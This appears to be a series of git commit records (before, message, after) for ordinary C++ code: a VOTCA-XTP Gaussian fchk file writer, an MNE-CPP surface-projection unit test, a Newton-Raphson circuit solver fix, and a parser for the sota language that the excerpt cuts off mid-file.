TOTAL ENERGY\n outFile << boost::format(\"%-43s%-2s%22.15e\\n\") % \"Total Energy\" % \"R\" %\n orbitals.getDFTTotalEnergy();\n \/\/ ALPHA ORBITAL ENERGIES\n outFile << boost::format(\"%-43s%-2s N= %10d\\n\") %\n \"Alpha Orbital Energies\" % \"R\" %\n orbitals.MOs().eigenvalues().size();\n temp_int = 1;\n for (Index i = 0; i < orbitals.MOs().eigenvalues().size(); ++i) {\n outFile << boost::format(\"%16.8e\") % orbitals.MOs().eigenvalues()[i];\n if (temp_int % 5 == 0) {\n outFile << \"\\n\";\n }\n temp_int++;\n }\n outFile << ((temp_int - 1) % 5 == 0 ? \"\" : \"\\n\");\n \/\/ ALPHA ORBITAL ENERGIES\n outFile << boost::format(\"%-43s%-2s N= %10d\\n\") % \"Alpha MO coefficients\" %\n \"R\" %\n (orbitals.MOs().eigenvalues().size() *\n orbitals.MOs().eigenvalues().size());\n outFile << reorderedMOCoefficients(orbitals);\n \/\/ DENSITY MATRIX\n outFile << boost::format(\"%-43s%-2s N= %10d\\n\") % \"Total SCF Density\" %\n \"R\" %\n ((orbitals.MOs().eigenvalues().size() *\n (orbitals.MOs().eigenvalues().size() - 1)) \/\n 2 +\n orbitals.MOs().eigenvalues().size());\n outFile << densityMatrixToString(orbitals);\n XTP_LOG(Log::error, _log) << \"Done writing \\n\" << std::flush;\n }\n}\n\n} \/\/ namespace xtp\n} \/\/ namespace votca<commit_msg>Format code using clang-format version 11.0.0 (Fedora 11.0.0-2.fc33)<commit_after>\/*\n * Copyright 2009-2021 The VOTCA Development Team\n * (http:\/\/www.votca.org)\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\")\n *\n * You may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n *\/\n\n#include \"votca\/xtp\/gaussianwriter.h\"\n#include \"votca\/xtp\/basisset.h\"\n#include <boost\/algorithm\/string.hpp>\n#include <boost\/format.hpp>\n#include <sstream>\n#include <votca\/tools\/eigenio_matrixmarket.h>\n\nnamespace votca {\nnamespace xtp {\n\n\/*\n * This function converts VOTCA's L enum to the gaussian equivalent.\n * Gaussian uses a minus sign to indicate spherical shells, but -1 for sp.\n *\/\nIndex GaussianWriter::toGaussianL(L l) const {\n switch (l) {\n case L::S:\n return 0;\n case L::P:\n return 1;\n default:\n return -1 * static_cast<Index>(l);\n }\n}\n\nstd::string GaussianWriter::reorderedMOCoefficients(\n const Orbitals& orbitals) const {\n OrbReorder reorder(gaussianOrder, gaussianMultipliers, true);\n Eigen::MatrixXd moCoefficients = orbitals.MOs().eigenvectors();\n reorder.reorderOrbitals(moCoefficients, orbitals.SetupDftBasis());\n\n \/\/ put the reordered mos in a string\n std::stringstream mos_string;\n\n int temp_int = 1;\n for (Index i = 0; i < moCoefficients.rows(); ++i) {\n for (Index j = 0; j < moCoefficients.cols(); ++j) {\n mos_string << boost::format(\"%16.8e\") % moCoefficients(j, i);\n if (temp_int % 5 == 0) {\n mos_string << \"\\n\";\n }\n temp_int++;\n }\n }\n mos_string << ((temp_int - 1) % 5 == 0 ? \"\" : \"\\n\");\n\n return mos_string.str();\n}\n\nstd::string GaussianWriter::densityMatrixToString(\n const Orbitals& orbitals) const {\n OrbReorder reorder(gaussianOrder, gaussianMultipliers, true);\n Eigen::MatrixXd density = orbitals.DensityMatrixGroundState();\n reorder.reorderOperator(density, orbitals.SetupDftBasis());\n\n \/\/ put the reordered mos in a string\n std::stringstream density_string;\n\n int temp_int = 1;\n\n for (Index i = 0; i < density.rows(); ++i) {\n for (Index j = 0; j <= i; ++j) {\n density_string << boost::format(\"%16.8e\") % density(i, j);\n if (temp_int % 5 == 0) {\n density_string << \"\\n\";\n }\n temp_int++;\n }\n }\n density_string << ((temp_int - 1) % 5 == 0 ? \"\" : \"\\n\");\n\n return density_string.str();\n}\n\nvoid GaussianWriter::WriteFile(const std::string& basename,\n const Orbitals& orbitals) const {\n if (!orbitals.hasDFTbasisName()) {\n throw std::runtime_error(\".orb file does not contain a basisset name\");\n }\n\n AOBasis basis = orbitals.SetupDftBasis();\n\n std::ofstream outFile(basename + \".fchk\");\n\n if (outFile.is_open()) {\n XTP_LOG(Log::error, _log)\n << \"Start writing to \" << (basename + \".fchk\") << std::flush;\n int temp_int;\n \/\/ job description\n outFile << basename << \", fchk created by VOTCA-XTP\\n\";\n outFile << \"SP RHF \" << orbitals.getDFTbasisName() << \"\\n\";\n\n \/\/ clang-format off\n outFile << boost::format(\"%-43s%-2s%15d\\n\") % \"Number of atoms\" % \"I\" % orbitals.QMAtoms().size();\n outFile << boost::format(\"%-43s%-2s%15d\\n\") % \"Charge\" % \"I\" % 0;\n outFile << boost::format(\"%-43s%-2s%15d\\n\") % \"Multiplicity\" % \"I\" % 1;\n outFile << boost::format(\"%-43s%-2s%15d\\n\") % \"Number of electrons\" % \"I\" % (2*orbitals.getNumberOfAlphaElectrons());\n outFile << boost::format(\"%-43s%-2s%15d\\n\") % \"Number of alpha electrons\" % \"I\" % orbitals.getNumberOfAlphaElectrons();\n outFile << boost::format(\"%-43s%-2s%15d\\n\") % \"Number of beta electrons\" % \"I\" % orbitals.getNumberOfAlphaElectrons();\n outFile << boost::format(\"%-43s%-2s%15d\\n\") % \"Number of basis functions\" % \"I\" % basis.AOBasisSize();\n outFile << boost::format(\"%-43s%-2s%15d\\n\") % \"Number of independent functions\" % \"I\" % basis.AOBasisSize();\n \/\/ clang-format on\n \/\/ ATOMIC NUMBERS\n outFile << boost::format(\"%-43s%-2s N= %10d\\n\") % \"Atomic numbers\" % \"I\" %\n orbitals.QMAtoms().size();\n temp_int = 1;\n for (const auto& atom : orbitals.QMAtoms()) {\n outFile << boost::format(\"%12d\") % atom.getElementNumber();\n if (temp_int % 6 == 0) {\n outFile << \"\\n\";\n }\n temp_int++;\n }\n outFile << ((temp_int - 1) % 6 == 0 ? \"\" : \"\\n\");\n \/\/ NUCLEAR CHARGES\n outFile << boost::format(\"%-43s%-2s N= %10d\\n\") % \"Nuclear charges\" % \"R\" %\n orbitals.QMAtoms().size();\n temp_int = 1;\n for (const auto& atom : orbitals.QMAtoms()) {\n outFile << boost::format(\"%16.8e\") % (double)atom.getNuccharge();\n if (temp_int % 5 == 0) {\n outFile << \"\\n\";\n }\n temp_int++;\n }\n outFile << ((temp_int - 1) % 5 == 0 ? \"\" : \"\\n\");\n \/\/ CURRENT CARTESIAN COORDINATES\n outFile << boost::format(\"%-43s%-2s N= %10d\\n\") %\n \"Current cartesian coordinates\" % \"R\" %\n (3 * orbitals.QMAtoms().size());\n temp_int = 1;\n for (const auto& atom : orbitals.QMAtoms()) {\n for (int i = 0; i < 3; ++i) {\n outFile << boost::format(\"%16.8e\") % atom.getPos()(i);\n if (temp_int % 5 == 0) {\n outFile << \"\\n\";\n }\n temp_int++;\n }\n }\n outFile << ((temp_int - 1) % 5 == 0 ? \"\" : \"\\n\");\n \/\/ NUMBER OF PRIMITIVE SHELLS\n outFile << boost::format(\"%-43s%-2s%15d\\n\") % \"Number of primitive shells\" %\n \"I\" % basis.getNumberOfPrimitives();\n \/\/ NUMBER OF CONTRACTED SHELLS\n outFile << boost::format(\"%-43s%-2s%15d\\n\") %\n \"Number of contracted shells\" % \"I\" % basis.getNumofShells();\n \/\/ PURE\/CARTESIAN D\n outFile << boost::format(\"%-43s%-2s%15d\\n\") % \"Pure\/Cartesian d shells \" %\n \"I\" % 0;\n \/\/ PURE\/CARTESIAN F\n outFile << boost::format(\"%-43s%-2s%15d\\n\") % \"Pure\/Cartesian f shells \" %\n \"I\" % 0;\n \/\/ HIGHEST ANGULAR MOMENTUM\n outFile << boost::format(\"%-43s%-2s%15d\\n\") % \"Highest angular momentum \" %\n \"I\" % basis.getMaxL();\n \/\/ HIGHEST ANGULAR MOMENTUM\n outFile << boost::format(\"%-43s%-2s%15d\\n\") %\n \"Largest degree of contraction \" % \"I\" % basis.getMaxNprim();\n \/\/ SHELL TYPES\n outFile << boost::format(\"%-43s%-2s N= %10d\\n\") % \"Shell types\" % \"I\" %\n (basis.getNumofShells());\n temp_int = 1;\n for (const auto& shell : basis) {\n outFile << boost::format(\"%12d\") % toGaussianL(shell.getL());\n if (temp_int % 6 == 0) {\n outFile << \"\\n\";\n }\n temp_int++;\n }\n outFile << ((temp_int - 1) % 6 == 0 ? \"\" : \"\\n\");\n \/\/ NR OF PRIMITIVES PER SHELL\n outFile << boost::format(\"%-43s%-2s N= %10d\\n\") %\n \"Number of primitives per shell\" % \"I\" %\n (basis.getNumofShells());\n temp_int = 1;\n for (const AOShell& shell : basis) {\n outFile << boost::format(\"%12d\") % shell.getSize();\n if (temp_int % 6 == 0) {\n outFile << \"\\n\";\n }\n temp_int++;\n }\n outFile << ((temp_int - 1) % 6 == 0 ? \"\" : \"\\n\");\n \/\/ SHELL TO ATOM MAP\n outFile << boost::format(\"%-43s%-2s N= %10d\\n\") % \"Shell to atom map\" %\n \"I\" % (basis.getNumofShells());\n temp_int = 1;\n for (const AOShell& shell : basis) {\n \/\/ Gaussian indices start at 1, hence the + 1\n outFile << boost::format(\"%12d\") % (shell.getAtomIndex() + 1);\n if (temp_int % 6 == 0) {\n outFile << \"\\n\";\n }\n temp_int++;\n }\n outFile << ((temp_int - 1) % 6 == 0 ? \"\" : \"\\n\");\n \/\/ PRIMITIVE EXPONENTS\n outFile << boost::format(\"%-43s%-2s N= %10d\\n\") % \"Primitive exponents\" %\n \"R\" % basis.getNumberOfPrimitives();\n temp_int = 1;\n for (const AOShell& shell : basis) {\n for (const AOGaussianPrimitive& prim : shell) {\n outFile << boost::format(\"%16.8e\") % prim.getDecay();\n if (temp_int % 5 == 0) {\n outFile << \"\\n\";\n }\n temp_int++;\n }\n }\n outFile << ((temp_int - 1) % 5 == 0 ? \"\" : \"\\n\");\n \/\/ CONTRACTION COEFFICIENTS\n outFile << boost::format(\"%-43s%-2s N= %10d\\n\") %\n \"Contraction coefficients\" % \"R\" %\n basis.getNumberOfPrimitives();\n temp_int = 1;\n for (const AOShell& shell : basis) {\n for (const AOGaussianPrimitive& prim : shell) {\n outFile << boost::format(\"%16.8e\") % prim.getContraction();\n if (temp_int % 5 == 0) {\n outFile << \"\\n\";\n }\n temp_int++;\n }\n }\n outFile << ((temp_int - 1) % 5 == 0 ? \"\" : \"\\n\");\n \/\/ SHELL COORDINATES\n outFile << boost::format(\"%-43s%-2s N= %10d\\n\") %\n \"Coordinates of each shell\" % \"R\" %\n (3 * basis.getNumofShells());\n temp_int = 1;\n for (const AOShell& shell : basis) {\n for (int i = 0; i < 3; ++i) {\n outFile << boost::format(\"%16.8e\") % shell.getPos()(i);\n if (temp_int % 5 == 0) {\n outFile << \"\\n\";\n }\n temp_int++;\n }\n }\n outFile << ((temp_int - 1) % 5 == 0 ? \"\" : \"\\n\");\n \/\/ TOTAL ENERGY\n outFile << boost::format(\"%-43s%-2s%22.15e\\n\") % \"Total Energy\" % \"R\" %\n orbitals.getDFTTotalEnergy();\n \/\/ ALPHA ORBITAL ENERGIES\n outFile << boost::format(\"%-43s%-2s N= %10d\\n\") %\n \"Alpha Orbital Energies\" % \"R\" %\n orbitals.MOs().eigenvalues().size();\n temp_int = 1;\n for (Index i = 0; i < orbitals.MOs().eigenvalues().size(); ++i) {\n outFile << boost::format(\"%16.8e\") % orbitals.MOs().eigenvalues()[i];\n if (temp_int % 5 == 0) {\n outFile << \"\\n\";\n }\n temp_int++;\n }\n outFile << ((temp_int - 1) % 5 == 0 ? \"\" : \"\\n\");\n \/\/ ALPHA ORBITAL ENERGIES\n outFile << boost::format(\"%-43s%-2s N= %10d\\n\") % \"Alpha MO coefficients\" %\n \"R\" %\n (orbitals.MOs().eigenvalues().size() *\n orbitals.MOs().eigenvalues().size());\n outFile << reorderedMOCoefficients(orbitals);\n \/\/ DENSITY MATRIX\n outFile << boost::format(\"%-43s%-2s N= %10d\\n\") % \"Total SCF Density\" %\n \"R\" %\n ((orbitals.MOs().eigenvalues().size() *\n (orbitals.MOs().eigenvalues().size() - 1)) \/\n 2 +\n orbitals.MOs().eigenvalues().size());\n outFile << densityMatrixToString(orbitals);\n XTP_LOG(Log::error, _log) << \"Done writing \\n\" << std::flush;\n }\n}\n\n} \/\/ namespace xtp\n} \/\/ namespace votca<|endoftext|>"} {"text":"<commit_before>\/\/=============================================================================================================\n\/**\n * @file test_mne_project_to_surface.cpp\n * @author Ruben Dörfel <doerfelruben@aol.com>\n * @since 0.1.6\n * @date August, 2020\n *\n * @section LICENSE\n *\n * Copyright (C) 2020, Ruben Dörfel. All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without modification, are permitted provided that\n * the following conditions are met:\n * * Redistributions of source code must retain the above copyright notice, this list of conditions and the\n * following disclaimer.\n * * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and\n * the following disclaimer in the documentation and\/or other materials provided with the distribution.\n * * Neither the name of MNE-CPP authors nor the names of its contributors may be used\n * to endorse or promote products derived from this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED\n * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A\n * PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,\n * INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\n * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n * POSSIBILITY OF SUCH DAMAGE.\n *\n *\n * @brief Test the MNEProjectToSurface class..\n *\n *\/\n\n\/\/=============================================================================================================\n\/\/ INCLUDES\n\/\/=============================================================================================================\n\n#include <utils\/generics\/applicationlogger.h>\n#include <mne\/mne_project_to_surface.h>\n#include <mne\/mne_bem.h>\n#include <mne\/mne_bem_surface.h>\n#include <utils\/ioutils.h>\n\n\/\/=============================================================================================================\n\/\/ QT INCLUDES\n\/\/=============================================================================================================\n\n#include <QtCore\/QCoreApplication>\n#include <QtTest>\n\n\/\/=============================================================================================================\n\/\/ Eigen\n\/\/=============================================================================================================\n\n#include <Eigen\/Dense>\n\n\/\/=============================================================================================================\n\/\/ Using NAMESPACE\n\/\/=============================================================================================================\n\nusing namespace MNELIB;\nusing namespace Eigen;\n\n\n\/\/=============================================================================================================\n\/**\n * DECLARE CLASS TestMNEProjectToSurface\n *\n * @brief The TestMNEProjectToSurface class provides read write read fiff verification tests\n *\n *\/\nclass TestMNEProjectToSurface: public QObject\n{\n Q_OBJECT\n\npublic:\n TestMNEProjectToSurface();\n\nprivate slots:\n void initTestCase();\n void compareValue();\n \/\/ add other compareFunctions here\n void cleanupTestCase();\n\nprivate:\n \/\/ declare your thresholds, variables and error values here\n double dEpsilon;\n MatrixXf matResult;\n MatrixXd matRef;\n\n};\n\n\/\/=============================================================================================================\n\nTestMNEProjectToSurface::TestMNEProjectToSurface()\n : dEpsilon(0.000001)\n{\n}\n\n\/\/=============================================================================================================\n\nvoid TestMNEProjectToSurface::initTestCase()\n{\n QFile t_fileBem(QCoreApplication::applicationDirPath() + \"\/mne-cpp-test-data\/subjects\/sample\/bem\/sample-1280-1280-1280-bem.fif\");\n QString sRef(QCoreApplication::applicationDirPath() + \"\/mne-cpp-test-data\/Result\/mne_project_to_surface.txt\");\n\n MNEBem bemHead(t_fileBem);\n MNEBemSurface::SPtr bemSurface = MNEBemSurface::SPtr::create(bemHead[0]);\n MNEProjectToSurface::SPtr mneSurfacePoints = MNEProjectToSurface::SPtr::create(*bemSurface);\n\n VectorXi vecNearest; \/\/ Triangle of the new point\n VectorXf vecDist; \/\/ The Distance between matX and matP\n\n MatrixXf matPointsShifted = bemSurface->rr.cast<float>() * 1.1; \/\/ Move all points with same amout from surface\n int iNP = matPointsShifted.rows();\n\n mneSurfacePoints->mne_find_closest_on_surface(matPointsShifted, iNP, matResult, vecNearest, vecDist);\n\n \/\/ read reference\n \/\/ UTILSLIB::IOUtils::write_eigen_matrix(matResult,sRef);\n UTILSLIB::IOUtils::read_eigen_matrix(matRef,sRef);\n}\n\n\/\/=============================================================================================================\n\nvoid TestMNEProjectToSurface::compareValue()\n{\n \/\/ check if MNEProjectToSurface was able to get original points on surface\n MatrixXf matDiff = matRef.cast<float>() - matResult;\n qDebug() << \"Summed Difference: \" << std::abs(matDiff.sum());\n QVERIFY(std::abs(matDiff.sum()) < dEpsilon);\n}\n\n\/\/=============================================================================================================\n\nvoid TestMNEProjectToSurface::cleanupTestCase()\n{\n}\n\n\/\/=============================================================================================================\n\/\/ MAIN\n\/\/=============================================================================================================\n\nQTEST_GUILESS_MAIN(TestMNEProjectToSurface)\n#include \"test_mne_project_to_surface.moc\"\n\n<commit_msg>Maint: apply change requests<commit_after>\/\/=============================================================================================================\n\/**\n * @file test_mne_project_to_surface.cpp\n * @author Ruben Dörfel <doerfelruben@aol.com>\n * @since 0.1.6\n * @date August, 2020\n *\n * @section LICENSE\n *\n * Copyright (C) 2020, Ruben Dörfel. All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without modification, are permitted provided that\n * the following conditions are met:\n * * Redistributions of source code must retain the above copyright notice, this list of conditions and the\n * following disclaimer.\n * * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and\n * the following disclaimer in the documentation and\/or other materials provided with the distribution.\n * * Neither the name of MNE-CPP authors nor the names of its contributors may be used\n * to endorse or promote products derived from this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED\n * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A\n * PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,\n * INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\n * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n * POSSIBILITY OF SUCH DAMAGE.\n *\n *\n * @brief Test the MNEProjectToSurface class.\n *\n *\/\n\n\/\/=============================================================================================================\n\/\/ INCLUDES\n\/\/=============================================================================================================\n\n#include <utils\/generics\/applicationlogger.h>\n#include <mne\/mne_project_to_surface.h>\n#include <mne\/mne_bem.h>\n#include <mne\/mne_bem_surface.h>\n#include <utils\/ioutils.h>\n\n\/\/=============================================================================================================\n\/\/ QT INCLUDES\n\/\/=============================================================================================================\n\n#include <QtCore\/QCoreApplication>\n#include <QtTest>\n\n\/\/=============================================================================================================\n\/\/ Eigen\n\/\/=============================================================================================================\n\n#include <Eigen\/Dense>\n\n\/\/=============================================================================================================\n\/\/ Using NAMESPACE\n\/\/=============================================================================================================\n\nusing namespace MNELIB;\nusing namespace Eigen;\n\n\n\/\/=============================================================================================================\n\/**\n * DECLARE CLASS TestMNEProjectToSurface\n *\n * @brief The TestMNEProjectToSurface class provides MNEProjectToSurface verification tests\n *\n *\/\nclass TestMNEProjectToSurface: public QObject\n{\n Q_OBJECT\n\npublic:\n TestMNEProjectToSurface();\n\nprivate slots:\n void initTestCase();\n void compareValue();\n void cleanupTestCase();\n\nprivate:\n \/\/ declare thresholds, and variables\n double dEpsilon;\n MatrixXf matResult;\n MatrixXd matRef;\n\n};\n\n\/\/=============================================================================================================\n\nTestMNEProjectToSurface::TestMNEProjectToSurface()\n : dEpsilon(0.000001)\n{\n}\n\n\/\/=============================================================================================================\n\nvoid TestMNEProjectToSurface::initTestCase()\n{\n QFile t_fileBem(QCoreApplication::applicationDirPath() + \"\/mne-cpp-test-data\/subjects\/sample\/bem\/sample-1280-1280-1280-bem.fif\");\n QString sRef(QCoreApplication::applicationDirPath() + \"\/mne-cpp-test-data\/Result\/mne_project_to_surface.txt\");\n\n MNEBem bemHead(t_fileBem);\n MNEBemSurface::SPtr bemSurface = MNEBemSurface::SPtr::create(bemHead[0]);\n MNEProjectToSurface::SPtr mneSurfacePoints = MNEProjectToSurface::SPtr::create(*bemSurface);\n\n VectorXi vecNearest; \/\/ Triangle of the new point\n VectorXf vecDist; \/\/ The Distance between matX and matP\n\n MatrixXf matPointsShifted = bemSurface->rr.cast<float>() * 1.1; \/\/ Move all points with same amout from surface\n int iNP = matPointsShifted.rows();\n\n mneSurfacePoints->mne_find_closest_on_surface(matPointsShifted, iNP, matResult, vecNearest, vecDist);\n\n \/\/ read reference\n UTILSLIB::IOUtils::read_eigen_matrix(matRef,sRef);\n}\n\n\/\/=============================================================================================================\n\nvoid TestMNEProjectToSurface::compareValue()\n{\n \/\/ check if MNEProjectToSurface was able to get original points on surface\n MatrixXf matDiff = matRef.cast<float>() - matResult;\n qDebug() << \"Summed Difference: \" << std::abs(matDiff.sum());\n QVERIFY(std::abs(matDiff.sum()) < dEpsilon);\n}\n\n\/\/=============================================================================================================\n\nvoid TestMNEProjectToSurface::cleanupTestCase()\n{\n}\n\n\/\/=============================================================================================================\n\/\/ MAIN\n\/\/=============================================================================================================\n\nQTEST_GUILESS_MAIN(TestMNEProjectToSurface)\n#include \"test_mne_project_to_surface.moc\"\n\n<|endoftext|>"} {"text":"<commit_before>\n<commit_msg>Delete output.hpp<commit_after><|endoftext|>"} {"text":"<commit_before>#include <iostream>\n#include <cstdlib>\n#include <cmath>\n#include <cstdio>\n#include \"consts.h\"\n#include \"circuits\/circuit.h\"\n#include \"matrix\/newtonraphson.h\"\n\n\nusing namespace std;\n\nstatic const int MAX_ATTEMPTS = 10;\nstatic const int MAX_LOOPS = 100;\nstatic const double TOLERANCE = 1e-9;\n\n\nvoid randomize(int numVariables, double solution[MAX_NODES+1]){\n solution[0]; \/\/ gnd\n for(int i=1; i<=numVariables; i++){\n solution[i] = (double) (rand()%10);\n }\n}\n\n\ndouble calcDistance(int numVariables, double x[MAX_NODES+1], double y[MAX_NODES+1]){\n double sum=0;\n double distance=0;\n for(int i=1; i<=numVariables ;i++) {\n sum += pow((x[i]-y[i]),2);\n }\n distance = sqrt(sum);\n return distance;\n}\n\n\nvoid printSolution(int numVariables, double solution[MAX_NODES+1]){\n for(int i=1; i<=numVariables; i++){\n cout << solution[i] << endl;\n }\n cout << endl;\n}\n\n\nint runNewtonRaphson(Circuit circuit,\n double (&finalSolution)[MAX_NODES+1],\n double t,\n double (&lastSolution)[MAX_NODES+1]){\n\n int rc=0;\n int numAttempts=0;\n int numLoops=0;\n bool converged=false;\n double solution[MAX_NODES+1];\n double distance=0;\n double previousSolution[MAX_NODES+1];\n double Yn[MAX_NODES+1][MAX_NODES+2];\n\n while(!converged && numAttempts <= MAX_ATTEMPTS ){\n numAttempts++;\n numLoops=0;\n\n while(!converged && numLoops <= MAX_LOOPS){\n numLoops++;\n\n init(circuit.getNumVariables(), Yn);\n circuit.applyStamps(Yn,\n previousSolution,\n t,\n lastSolution);\n\n rc = solve(circuit.getNumVariables(), Yn);\n if (rc)\n \/\/ Let's try a new randomized initial solution! \n break;\n\n getSolution(circuit.getNumVariables(),\n Yn,\n solution);\n\n distance = calcDistance(circuit.getNumVariables(),\n solution,\n previousSolution);\n if (distance < TOLERANCE){\n converged = true;\n solution[0] = 0; \/\/ Ground!\n copySolution(circuit.getNumVariables(),\n solution,\n finalSolution);\n } else {\n copySolution(circuit.getNumVariables(),\n solution,\n previousSolution);\n }\n }\n\n if (!converged){\n cout << \"Newton Raphson did not converge.\";\n return (EXIT_FAILURE);\n }\n }\n return 0;\n}\n<commit_msg>Fixes lack of randomization<commit_after>#include <iostream>\n#include <cstdlib>\n#include <cmath>\n#include <cstdio>\n#include \"consts.h\"\n#include \"circuits\/circuit.h\"\n#include \"matrix\/newtonraphson.h\"\n\n\nusing namespace std;\n\nstatic const int MAX_ATTEMPTS = 10;\nstatic const int MAX_LOOPS = 100;\nstatic const double TOLERANCE = 1e-9;\n\n\nvoid randomize(int numVariables, double solution[MAX_NODES+1]){\n solution[0]; \/\/ gnd\n for(int i=1; i<=numVariables; i++){\n solution[i] = (double) (rand()%10);\n }\n}\n\n\ndouble calcDistance(int numVariables, double x[MAX_NODES+1], double y[MAX_NODES+1]){\n double sum=0;\n double distance=0;\n for(int i=1; i<=numVariables ;i++) {\n sum += pow((x[i]-y[i]),2);\n }\n distance = sqrt(sum);\n return distance;\n}\n\n\nvoid printSolution(int numVariables, double solution[MAX_NODES+1]){\n for(int i=1; i<=numVariables; i++){\n cout << solution[i] << endl;\n }\n cout << endl;\n}\n\n\nint runNewtonRaphson(Circuit circuit,\n double (&finalSolution)[MAX_NODES+1],\n double t,\n double (&lastSolution)[MAX_NODES+1]){\n\n int rc=0;\n int numAttempts=0;\n int numLoops=0;\n bool converged=false;\n double solution[MAX_NODES+1];\n double distance=0;\n double previousSolution[MAX_NODES+1];\n double Yn[MAX_NODES+1][MAX_NODES+2];\n\n while(!converged && numAttempts <= MAX_ATTEMPTS ){\n numAttempts++;\n numLoops=0;\n\n randomize(circuit.getNumVariables(), previousSolution);\n\n while(!converged && numLoops <= MAX_LOOPS){\n numLoops++;\n\n init(circuit.getNumVariables(), Yn);\n circuit.applyStamps(Yn,\n previousSolution,\n t,\n lastSolution);\n\n rc = solve(circuit.getNumVariables(), Yn);\n if (rc)\n \/\/ Let's try a new randomized initial solution! \n break;\n\n getSolution(circuit.getNumVariables(),\n Yn,\n solution);\n\n distance = calcDistance(circuit.getNumVariables(),\n solution,\n previousSolution);\n if (distance < TOLERANCE){\n converged = true;\n solution[0] = 0; \/\/ Ground!\n copySolution(circuit.getNumVariables(),\n solution,\n finalSolution);\n } else {\n copySolution(circuit.getNumVariables(),\n solution,\n previousSolution);\n }\n }\n\n if (!converged){\n cout << \"Newton Raphson did not converge.\";\n return (EXIT_FAILURE);\n }\n }\n return 0;\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"parser.h\"\n\n#include \"ast.h\"\n#include \"utils.h\"\n#include \"token.h\"\n\n#include \"exceptions.h\"\n\n#include <string>\n#include <vector>\n#include <fstream>\n#include <iostream>\n\nnamespace sota {\n\n std::string Parser::Load(const std::string &filename) {\n if (!exists(filename))\n SotaException(filename + \" doesn't exist or is unreadable\");\n std::ifstream file(filename);\n std::string text((std::istreambuf_iterator<char>(file)), std::istreambuf_iterator<char>());\n return text;\n }\n\n Token Parser::Take(Token token) {\n if (token)\n _tokens.push_back(token);\n return token;\n }\n\n Token Parser::Emit() {\n Token token = Token();\n if (_tokens.size()) {\n token = _tokens.front();\n _tokens.pop_front();\n }\n return token;\n }\n\n Token Parser::Scan() {\n\n if (index < source.length()) {\n size_t end = index;\n Symbol *match = nullptr;\n for (auto kvp : symbols) {\n auto symbol = kvp.second;\n size_t pos = symbol->scan(symbol, source.substr(index, source.length() - index), index);\n if (pos > end || (match != nullptr && symbol->lbp > match->lbp && pos == end)) {\n match = symbol;\n end = pos;\n }\n }\n if (index == end)\n throw SotaException(\"Parser::Scan: invalid symbol\");\n return Token(*match, source, index, end - index);\n }\n return Token();\n }\n\n \/*public*\/\n\n Parser::Parser(const Types2Symbols &symbols)\n : symbols(symbols)\n , source(\"\")\n , index(0) {}\n\n Ast * Parser::ParseFile(const std::string &filename) {\n auto source = Load(filename);\n return Parse(source);\n }\n\n Ast * Parser::Parse(std::string source) {\n this->source = source;\n return Parse();\n }\n\n Ast * Parser::Parse(size_t lbp\/* = 0 *\/) {\n\n Token token = Consume();\n\n Ast *left = token.Nud(this, &token);\n\n std::cout << \"lbp: \" << lbp << \" token.symbol.lbp: \" << token.symbol.lbp << std::endl;\n while (lbp < token.symbol.lbp) {\n std::cout << \"lbp test passed\" << std::endl;\n Token token = Consume();\n left = token.Led(this, left, &token);\n }\n\n return left;\n }\n\n Token Parser::LookAhead(size_t distance) {\n Token token;\n while(distance >= _tokens.size())\n token = Take(Scan());\n\n if (token)\n return token;\n return Scan();\n }\n\n Token Parser::Consume() {\n if (auto token = Emit())\n return token;\n return Scan();\n }\n\n Token Parser::Consume(const size_t &expected, const std::string &message) {\n auto token = Consume();\n if (token.symbol.type != expected)\n throw SotaException(message);\n return token;\n }\n\n size_t Parser::Line() {\n return 0;\n }\n\n size_t Parser::Column() {\n return 0;\n }\n}\n<commit_msg>got lookahead working but not skipping ws yet... -sai<commit_after>#include \"parser.h\"\n\n#include \"ast.h\"\n#include \"utils.h\"\n#include \"token.h\"\n\n#include \"exceptions.h\"\n\n#include <string>\n#include <vector>\n#include <fstream>\n#include <iostream>\n\nnamespace sota {\n\n std::string 